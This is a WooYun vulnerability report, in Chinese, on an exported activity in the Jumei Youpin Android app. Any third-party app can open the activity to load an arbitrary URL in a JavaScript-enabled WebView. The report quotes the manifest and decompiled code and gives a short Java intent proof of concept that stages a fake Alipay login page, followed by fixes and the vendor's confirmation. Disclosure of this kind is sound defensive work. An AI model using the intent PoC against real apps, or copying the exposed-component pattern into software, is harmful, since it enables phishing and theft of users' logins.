当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132255

漏洞标题:聚美优品安卓客户端组件暴露可实现钓鱼

相关厂商:聚美优品

漏洞作者: hh88

提交时间:2015-08-07 10:21

修复时间:2015-11-05 11:58

公开时间:2015-11-05 11:58

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-07: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-10: 细节向第三方安全合作伙伴开放
2015-10-01: 细节向核心白帽子及相关领域专家公开
2015-10-11: 细节向普通白帽子公开
2015-10-21: 细节向实习白帽子公开
2015-11-05: 细节向公众公开

简要描述:

聚美优品安卓客户端容易出现钓鱼

详细说明:

版本3.由于组件暴露问题,第三方应用可以启动应用,并可以打开钓鱼网站。

<activity android:configChanges="keyboardHidden|orientation" android:exported="true" android:launchMode="singleTop" android:name=".ProductUsageShowActivity" android:screenOrientation="portrait"/>


Intent localIntent = getIntent();
if (localIntent != null)
{
this.s = localIntent.getStringExtra("key_title");
this.t = localIntent.getStringExtra("key_lable");
this.u = localIntent.getStringExtra("key_url");
aj = localIntent.getStringExtra("key_message");
this.v = localIntent.getIntExtra("key_nret", 0);
this.w = localIntent.getIntExtra("key_result", 0);
this.x = localIntent.getBooleanExtra("key_product_type", false);
}
this.r.setText(this.s);
this.p = ((WebView)findViewById(2131429643));
this.p.getSettings().setDefaultTextEncodingName("UTF-8");
this.p.getSettings().setUseWideViewPort(true);
this.p.setWebChromeClient(new afj(this, this));
this.p.loadDataWithBaseURL(null, "", "text/html", "UTF-8", "");
this.p.getSettings().setCacheMode(1);
this.p.getSettings().setDomStorageEnabled(true);
if (g.c(this.Y)) {
this.p.getSettings().setCacheMode(-1);
}
for (;;)
{
this.p.getSettings().setAppCacheMaxSize(8388608L);
this.p.getSettings().setAllowFileAccess(true);
this.p.getSettings().setAppCacheEnabled(true);
this.p.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
this.p.getSettings().setJavaScriptEnabled(true);
this.p.getSettings().setSupportZoom(true);
this.p.getSettings().setLoadWithOverviewMode(true);
try
{
this.p.getSettings().setBuiltInZoomControls(true);
l();
return;
this.p.getSettings().setCacheMode(1);
}
catch (RuntimeException localRuntimeException)
{
for (;;)
{
localRuntimeException.printStackTrace();
}

漏洞证明:

这里打开一个支付宝登陆界面POC。
private void jumei_productus_poc() {
Intent v2=new Intent();
v2.setClassName("com.jm.android.jumei", "com.jm.android.jumei.ProductUsageShowActivity");
v2.putExtra("key_title", "重新登录支付宝");
v2.putExtra("key_lable", "xxx000");
v2.putExtra("key_url", "http://auth.alipay.com");
v2.putExtra("key_message", "xx000");
v2.putExtra("key_result", 100);
v2.putExtra("key_nret", 1);
v2.putExtra("key_product_type", true);
startActivity(v2);
}

Screenshot_2015-08-06-21-54-48.png


假设我用的网址是钓鱼的,而且还可以执行JavaScript代码,后果不堪设想。
主要是因为Activity暴露,app中暴露的很多,容易产生拒绝服务等。

Screenshot_2015-08-06-23-01-46.png


manifest文件中很多activity,receiver,service暴露,RequestMessageActivity,JumpDealDetailActivity不一一列举。

修复方案:

1.相应组件android:exported="false"
2.加签名才能访问。
3.拒绝服务,有的是空intent,没有判断getIntent==null.

版权声明:转载请注明来源 hh88@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-07 11:56

厂商回复:

太感谢了!这是头一回有人帮我们挖到Android的漏洞,马上修复。

最新状态:

暂无